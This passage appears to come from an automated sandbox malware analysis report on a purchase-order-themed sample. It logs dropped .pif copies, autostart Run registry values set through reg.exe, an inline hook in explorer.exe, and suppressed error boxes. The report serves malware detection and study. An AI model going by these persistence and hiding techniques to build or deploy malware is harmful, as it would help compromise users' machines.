          Source: Binary string: mstsc.pdbGCTL source: New PO 796512.pif.pif.pif, 00000041.00000002.1971343875.0000000003450000.00000040.10000000.00040000.00000000.sdmp, mstsc.exe, 00000042.00000002.1971806060.0000000000E10000.00000040.80000000.00040000.00000000.sdmp
          Source: Binary string: cmd.pdb source: New PO 796512.pif, 0000001B.00000002.1578194942.0000000003220000.00000040.10000000.00040000.00000000.sdmp, cmd.exe, 0000001D.00000002.1578924510.0000000000410000.00000040.80000000.00040000.00000000.sdmp, cmd.exe, 0000002D.00000002.1737541241.0000000000410000.00000040.80000000.00040000.00000000.sdmp
          Source: Binary string: mstsc.pdb source: New PO 796512.pif.pif.pif, 00000041.00000002.1971343875.0000000003450000.00000040.10000000.00040000.00000000.sdmp, mstsc.exe, 00000042.00000002.1971806060.0000000000E10000.00000040.80000000.00040000.00000000.sdmp
          Source: Binary string: msdt.pdb source: New PO 796512.exe, 0000000D.00000002.1420746555.00000000011F0000.00000040.10000000.00040000.00000000.sdmp, msdt.exe, 00000010.00000002.2528048946.0000000000990000.00000040.80000000.00040000.00000000.sdmp, msdt.exe, 00000037.00000002.1878565864.0000000000990000.00000040.80000000.00040000.00000000.sdmp
          Source: Binary string: C:\Users\Administrator\Desktop\2023CryptsDone\PracticasFormsF\obj\Debug\Dastl.pdb source: New PO 796512.exe, New PO 796512.pif.pif.pif.pif.61.dr, New PO 796512.pif.pif.24.dr, New PO 796512.pif.11.dr, New PO 796512.pif.pif.pif.42.dr
          Source: New PO 796512.exeStatic PE information: 0xE78078BF [Wed Jan 28 04:46:55 2093 UTC]
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 1_2_06B47BF2 push es; ret 1_2_06B47C00
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0041D475 push eax; ret 13_2_0041D4C8
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0041D4C2 push eax; ret 13_2_0041D4C8
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0041D4CB push eax; ret 13_2_0041D532
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0041D52C push eax; ret 13_2_0041D532
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0041DF5B push dword ptr [0E48D768h]; ret 13_2_0041E038
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013509AD push ecx; mov dword ptr [esp], ecx13_2_013509B6
          Source: C:\Windows\explorer.exeCode function: 14_2_097659B5 push esp; retn 0000h14_2_09765AE7
          Source: C:\Windows\explorer.exeCode function: 14_2_09765B1E push esp; retn 0000h14_2_09765B1F
          Source: C:\Windows\explorer.exeCode function: 14_2_09765B02 push esp; retn 0000h14_2_09765B03
          Source: C:\Windows\explorer.exeCode function: 14_2_099E69B5 push esp; retn 0000h14_2_099E6AE7
          Source: C:\Windows\explorer.exeCode function: 14_2_099E6B1E push esp; retn 0000h14_2_099E6B1F
          Source: C:\Windows\explorer.exeCode function: 14_2_099E6B02 push esp; retn 0000h14_2_099E6B03
          Source: C:\Windows\explorer.exeCode function: 14_2_09B0D9B5 push esp; retn 0000h14_2_09B0DAE7
          Source: C:\Windows\explorer.exeCode function: 14_2_09B0DB1E push esp; retn 0000h14_2_09B0DB1F
          Source: C:\Windows\explorer.exeCode function: 14_2_09B0DB02 push esp; retn 0000h14_2_09B0DB03
          Source: C:\Windows\explorer.exeCode function: 14_2_0B0A7B02 push esp; retn 0000h14_2_0B0A7B03
          Source: C:\Windows\explorer.exeCode function: 14_2_0B0A7B1E push esp; retn 0000h14_2_0B0A7B1F
          Source: C:\Windows\explorer.exeCode function: 14_2_0B0A79B5 push esp; retn 0000h14_2_0B0A7AE7
          Source: C:\Windows\explorer.exeCode function: 14_2_0B284B02 push esp; retn 0000h14_2_0B284B03
          Source: C:\Windows\explorer.exeCode function: 14_2_0B284B1E push esp; retn 0000h14_2_0B284B1F
          Source: C:\Windows\explorer.exeCode function: 14_2_0B2849B5 push esp; retn 0000h14_2_0B284AE7
          Source: C:\Windows\explorer.exeCode function: 14_2_0E421B02 push esp; retn 0000h14_2_0E421B03
          Source: C:\Windows\explorer.exeCode function: 14_2_0E421B1E push esp; retn 0000h14_2_0E421B1F
          Source: C:\Windows\explorer.exeCode function: 14_2_0E4219B5 push esp; retn 0000h14_2_0E421AE7
          Source: C:\Windows\explorer.exeCode function: 14_2_0E9B0B1E push esp; retn 0000h14_2_0E9B0B1F
          Source: C:\Windows\explorer.exeCode function: 14_2_0E9B0B02 push esp; retn 0000h14_2_0E9B0B03
          Source: C:\Windows\explorer.exeCode function: 14_2_0E9B09B5 push esp; retn 0000h14_2_0E9B0AE7
          Source: C:\Windows\explorer.exeCode function: 14_2_0F1C7B1E push esp; retn 0000h14_2_0F1C7B1F
          Source: C:\Windows\explorer.exeCode function: 14_2_0F1C7B02 push esp; retn 0000h14_2_0F1C7B03
          Source: C:\Windows\explorer.exeCode function: 14_2_0F1C79B5 push esp; retn 0000h14_2_0F1C7AE7

          Persistence and Installation Behavior

          barindex
          Drops PE files to the document folder of the user
          Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\Documents\New PO 796512.pif.pif.pifJump to dropped file
          Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\Documents\New PO 796512.pif.pif.pif.pifJump to dropped file
          Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\Documents\New PO 796512.pifJump to dropped file
          Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\Documents\New PO 796512.pif.pifJump to dropped file
          Drops PE files with a suspicious file extension
          Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\Documents\New PO 796512.pif.pif.pifJump to dropped file
          Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\Documents\New PO 796512.pif.pif.pif.pifJump to dropped file
          Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\Documents\New PO 796512.pifJump to dropped file
          Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\Documents\New PO 796512.pif.pifJump to dropped file
          Uses cmd line tools excessively to alter registry or file data
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exeJump to behavior
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
          Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\Documents\New PO 796512.pif.pif.pifJump to dropped file
          Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\Documents\New PO 796512.pif.pif.pif.pifJump to dropped file
          Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\Documents\New PO 796512.pifJump to dropped file
          Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\Documents\New PO 796512.pif.pifJump to dropped file

          Boot Survival

          barindex
          Creates multiple autostart registry keys
          Source: C:\Windows\SysWOW64\reg.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run New PO 796512.pif
          Source: C:\Windows\SysWOW64\reg.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run New PO 796512.pif.pif
          Source: C:\Windows\SysWOW64\reg.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run New PO 796512.pif.pif.pif
          Source: C:\Windows\SysWOW64\reg.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run New PO 796512Jump to behavior
          Source: C:\Windows\SysWOW64\reg.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run New PO 796512Jump to behavior
          Source: C:\Windows\SysWOW64\reg.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run New PO 796512Jump to behavior
          Source: C:\Windows\SysWOW64\reg.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run New PO 796512.pif
          Source: C:\Windows\SysWOW64\reg.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run New PO 796512.pif
          Source: C:\Windows\SysWOW64\reg.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run New PO 796512.pif.pif
          Source: C:\Windows\SysWOW64\reg.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run New PO 796512.pif.pif
          Source: C:\Windows\SysWOW64\reg.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run New PO 796512.pif.pif.pif
          Source: C:\Windows\SysWOW64\reg.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run New PO 796512.pif.pif.pif

          Hooking and other Techniques for Hiding and Protection

          barindex
          Modifies the prolog of user mode functions (user mode inline hooks)
          Source: explorer.exeUser mode code has changed: module: user32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x8B 0xBE 0xE7
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\msdt.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
